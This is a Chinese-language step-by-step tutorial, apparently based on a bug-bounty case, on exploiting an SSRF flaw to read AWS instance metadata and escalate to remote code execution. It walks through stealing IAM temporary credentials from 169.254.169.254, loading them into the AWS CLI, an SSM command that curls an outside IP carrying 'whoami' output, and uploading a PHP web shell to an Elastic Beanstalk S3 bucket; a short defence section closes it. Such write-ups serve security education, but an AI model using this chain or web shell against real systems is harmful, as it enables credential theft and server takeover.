利用SSRF泄漏云环境中的Metadata数据进一步实现RCE
字数 1816 2025-08-18 11:38:22
利用SSRF漏洞泄漏云环境Metadata数据并实现RCE的完整指南
漏洞概述
本教程将详细介绍如何通过SSRF(Server-Side Request Forgery)漏洞获取云环境(特别是AWS)中的Metadata数据,并进一步升级为远程代码执行(RCE)的完整过程。
测试环境发现
- 目标识别:在对目标站点进行子域枚举时发现
docs.redact.com子域 - 异常端点发现:在统计数据的照片中发现可疑链接,包含以下参数:
url:可控制的请求地址mimeType:MIME类型参数t:JWT令牌advertiserId:广告商ID
SSRF漏洞验证
- 初始测试:修改
url参数为自定义域名(generaleg0x01.com)测试带外资源加载 - AWS环境识别:通过响应头
X-Amz-Cf-Id确认目标运行在AWS环境 - Metadata端点测试:尝试访问AWS EC2实例的Metadata服务(169.254.169.254)
- 成功访问
/latest/meta-data/路径确认SSRF存在 - 进一步访问
/latest/meta-data/iam/security-credentials/获取当前角色信息
- 成功访问
AWS Metadata数据收集
-
IAM凭证获取:
- 访问路径:
/latest/meta-data/iam/security-credentials/aws-elasticbeanstalk-ec2-role/ - 获取以下关键信息:
- AccessKeyId
- SecretAccessKey
- Token
- 访问路径:
-
实例信息获取:
- 访问路径:
/latest/dynamic/instance-identity/document - 获取以下关键信息:
- instanceId
- accountId
- region
- 访问路径:
AWS CLI配置与使用
-
安装AWS CLI:
apt install awscli -
环境变量配置:
export AWS_ACCESS_KEY_ID=AccessKeyId export AWS_SECRET_ACCESS_KEY=SecretAccessKey export AWS_DEFAULT_REGION=region export AWS_SESSION_TOKEN=Token -
身份验证测试:
aws sts get-caller-identity
从SSRF升级到RCE的尝试
-
尝试1:使用SSM Send-Command:
aws ssm send-command --instance-ids "instanceId" --document-name "AWS-RunShellScript" --comment "whoami" --parameters commands='curl 128.199.xx.xx:8080/`whoami`' --output text --region=region- 失败原因:当前角色没有
ssm:SendCommand权限
- 失败原因:当前角色没有
-
尝试2:SSH连接:
- 失败原因:SSH端口关闭
-
成功方法:S3后门上传:
a. S3 Bucket发现:
- AWS Elastic Beanstalk的命名规则:
elasticbeanstalk-region-account-id - 示例:
elasticbeanstalk-us-east-1-76xxxxxxxx00
b. 列出Bucket内容:
aws s3 ls s3://elasticbeanstalk-us-east-1-76xxxxxxxx00/ --recursivec. 创建并上传Web Shell:
- 创建PHP后门文件
cmd.php:
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; } ?>- 上传文件:
aws s3 cp cmd.php s3://elasticbeanstalk-us-east-1-76xxxxxxxx00/d. 访问Web Shell:
- 通过访问上传的PHP文件并传递
cmd参数执行任意命令
- AWS Elastic Beanstalk的命名规则:
关键知识点总结
-
AWS Metadata服务:
- 默认IP:169.254.169.254
- 重要路径:
/latest/meta-data/:基础元数据/latest/meta-data/iam/security-credentials/[role-name]:临时凭证/latest/dynamic/instance-identity/document:实例详细信息
-
AWS Elastic Beanstalk特性:
- 使用特定命名规则的S3 Bucket:
elasticbeanstalk-region-account-id - 默认授予Web Tier角色访问这些Bucket的权限
- 使用特定命名规则的S3 Bucket:
-
权限限制绕过:
- 当直接命令执行被阻止时,考虑通过可写存储服务(如S3)上传Web Shell
- 利用应用程序自动部署机制执行上传的恶意代码
防御建议
-
SSRF防护:
- 限制服务器发起的请求目标
- 验证和过滤所有用户提供的URL参数
- 使用白名单机制控制可访问的内部资源
-
Metadata服务保护:
- 使用IMDSv2(需要请求头认证)
- 配置防火墙规则限制对169.254.169.254的访问
- 为实例分配最小必要权限的角色
-
S3安全配置:
- 严格限制Bucket的公开访问权限
- 启用Bucket策略和ACL的详细日志记录
- 定期审计Bucket内容和不必要的文件
-
监控与检测:
- 监控异常的Metadata服务请求
- 设置CloudTrail日志警报检测异常API调用
- 监控S3 Bucket中的可疑文件上传行为